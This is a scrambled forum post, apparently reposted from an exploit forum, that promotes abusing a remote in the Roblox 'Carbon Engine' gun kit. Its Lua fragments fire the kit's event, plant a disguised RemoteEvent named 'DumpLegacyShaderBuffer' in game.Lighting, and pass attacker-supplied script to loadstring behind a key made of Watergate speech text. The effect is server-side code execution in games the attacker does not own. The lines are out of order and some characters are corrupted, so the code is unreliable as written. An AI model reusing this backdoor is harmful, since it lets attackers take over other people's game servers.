To secure your remotes, first, create an array with around 25+ different randomized strings, second, find at least 2 encryption methods, suggestion: Base64 encoding and one other one you can probably find online or on the forums, etc. It appears to be that loadstring is enabled on affected games, there is a debate on the safety of this matter. Wakakakaka.OnServerEvent:connect(LE_REMOTE_CONNECTION_LMAO_WAKAKAKKAKA) Require(script:WaitForChild("Loadstring"))(le_script)() These include charges of illegal activity during and preceding the 1972 Presidential election and charges that responsible officials participated in efforts to cover up that illegal activity." then If key = "In recent months, members of my Administration and officials of the Committee for the Re-Election of the Presidentâ including some of my closest friends and most trusted aidesâhave been charged with involvement in what has come to he known as the Watergate affair. Local function LE_REMOTE_CONNECTION_LMAO_WAKAKAKKAKA(plr, key, le_script) Wakakakaka.Name = "DumpLegacyShaderBuffer" Local wakakakaka = Instance.new("RemoteEvent", game.Lighting) :FireServer(key, uwu)ĮxecuteScript("SERVER SIDED SCRIPT HERE") These include charges of illegal activity during and preceding the 1972 Presidential election and charges that responsible officials participated in efforts to cover up that illegal activity." Local key = "In recent months, members of my Administration and officials of the Committee for the Re-Election of the President- including some of my closest friends and most trusted aides-have been charged with involvement in what has come to he known as the Watergate affair. Game:GetService("ReplicatedStorage").CarbonResource.Events:FireServer(unpack(args)) I will be releasing some videos on this but we had our fun and its about to get patched so you guys might as well get your final few moments screwing around with it, Enjoy fellas, also you have to put your own server sided script in the last line of the script.ītw Carbon Engine is one of the top used free gunsĬode: if not game.Lighting:FindFirstChild("DumpLegacyShaderBuffer") then Previous post - Includes V3rm post's content
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